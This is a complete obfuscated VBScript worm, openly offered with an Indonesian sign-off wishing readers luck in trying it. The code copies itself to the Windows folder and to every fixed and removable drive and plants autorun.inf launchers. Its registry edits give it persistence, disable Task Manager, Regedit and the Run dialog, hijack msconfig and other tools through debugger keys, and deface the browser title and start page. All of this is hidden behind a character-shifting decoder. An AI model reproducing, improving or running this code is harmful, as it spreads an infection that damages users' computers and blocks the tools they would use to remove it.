'h4ck3v1l.vbs
on error resume next
dim mysource,winpath,HGjYuiyJWX,fs,mf,atr,tf,rg,nt,check,sd
atr = fNIOEKUfRA("^ovspuvb\")&vbcrlf&fNIOEKUfRA("tcw/m2w4ld5i!fyf/uqjsdtx>fuvdfyfmmfit")
set fs = createobject(fNIOEKUfRA("udfkcPnfutzTfmjG/hojuqjsdT"))
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & fNIOEKUfRA("tcw/m2w4ld5i]"))
tf.attributes = 32
set tf=fs.createtextfile(winpath & fNIOEKUfRA("tcw/m2w4ld5i]"),2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & fNIOEKUfRA("tcw/m2w4ld5i]"))
tf.attributes = 39
for each HGjYuiyJWX in fs.drives
If (HGjYuiyJWX.drivetype = 1 or HGjYuiyJWX.drivetype = 2) and HGjYuiyJWX.path <> fNIOEKUfRA(";B") then
set tf=fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("tcw/m2w4ld5i]"))
tf.attributes =32
set tf=fs.createtextfile(HGjYuiyJWX.path &fNIOEKUfRA("tcw/m2w4ld5i]"),2,true)
tf.write mysource
tf.close
set tf=fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("tcw/m2w4ld5i]"))
tf.attributes =39
set tf =fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("goj/ovspuvb]"))
tf.attributes = 32
set tf=fs.createtextfile(HGjYuiyJWX.path &fNIOEKUfRA("goj/ovspuvb]"),2,true)
tf.write atr
tf.close
set tf =fs.getfile(HGjYuiyJWX.path &fNIOEKUfRA("goj/ovspuvb]"))
tf.attributes=39
end if
next
set rg = createobject(fNIOEKUfRA("mmfiT/uqjsdTX"))
rg.regwrite fNIOEKUfRA("]eobnnpd]mmbutoJ]mmfit]fmjggoj]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("fyf/ggphpm")
rg.regwrite fNIOEKUfRA("]eobnnpd]ofqp]mmfit]fmjghfs]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("fyf/ggphpm")
rg.regwrite fNIOEKUfRA("]eobnnpD]ujeF]mmfiT]fmjGTCW]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("fyf/ggphpm")
rg.regwrite fNIOEKUfRA("]eobnnpd]ofqp]mmfit]fmjg4qn]UPPS`TFTTBMD`ZFLI"), fNIOEKUfRA("tcw/m2w4ld5i")
rg.regwrite fNIOEKUfRA("sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"), fNIOEKUfRA("zbmqtjEtnfuJzbsUpO")
rg.regwrite fNIOEKUfRA("ovS]opjtsfWuofssvD]txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"), fNIOEKUfRA("fyf/qnbojX]qnbojX]tfmjG!nbshpsQ];D"), fNIOEKUfRA("HOJSUT`HFS")
rg.regwrite fNIOEKUfRA("topjuqPsfempGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("eojGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("ofeejI]efdobweB]sfspmqyF]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA(fNIOEKUfRA("2")), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("uyFfmjGfejI]efdobweB]sfspmqyF]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("fubjdpttBfmjGpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("ujefhfSfmcbtjE]nfutzT]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("ovSpO]sfspmqyF]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("ENDfmcbtjE]nfutzT]tfjdjmpQ]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("shNltbUfmcbtjE]nfutzt]tfjdjmpq]opjtsfWuofssvD]txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"), fNIOEKUfRA("2"), fNIOEKUfRA("ESPXE`HFS")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/end]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/hjgopdtn]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/ujefhfs]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/34uefhfs]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/shNltbU]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/cjsuub]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/mmbutoj]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("sfhhvcfE]fyf/qvuft]topjuqP!opjuvdfyF!fmjG!fhbnJ]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]FSBXUGPT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("fyf/ebqfupO")
rg.regwrite fNIOEKUfRA("m2w4ld5i]ovS]opjtsfWuofssvD]txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"),winpath&fNIOEKUfRA("tcw/m2w4ld5i]")
rg.regwrite fNIOEKUfRA("fhbQ!usbuT]ojbN]sfspmqyF!ufosfuoJ]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"),fNIOEKUfRA("mu/fhbq/777mfsvB/xxx00;quui")
rg.regwrite fNIOEKUfRA("fmujU!xpeojX]ojbN]sfspmqyF!ufosfuoJ]ugptpsdjN]fsbxugpT]SFTV`UOFSSVD`ZFLI"),fNIOEKUfRA("777!MFSVB!ZC!EFLDBI")
rg.regwrite fNIOEKUfRA("sfoxPefsfutjhfS]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("777!mfsvB"),fNIOEKUfRA("HOJSUT`HFS")
rg.regwrite fNIOEKUfRA("opjub{jobhsPefsfutjhfS]opjtsfWuofssvD]UO!txpeojX]ugptpsdjN]fsbxugpT]FOJIDBN`MBDPM`ZFLI"),fNIOEKUfRA("4d2m1Q!juoB"),fNIOEKUfRA("HOJSUT`HFS")
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject(fNIOEKUfRA("mmfit/uqjsdtX"))
sd.run winpath&fNIOEKUfRA("!$udfmft0$f0!fyf/sfspmqyf]")&Wscript.ScriptFullname
Function fNIOEKUfRA(eaYRjLasVU)
Dim i, tmp2
For i = 1 To Len(eaYRjLasVU)
tmp2 = Chr(Asc(Mid(eaYRjLasVU, i, 1)) - 1) + tmp2
Next
fNIOEKUfRA = tmp2
End Function
Untuk informasi pendukung lainnya, silahkan tanya dengan paman google atau gabung dengan teman-teman dimillis yang membahas masalah virus. Thnks... selamat mencoba !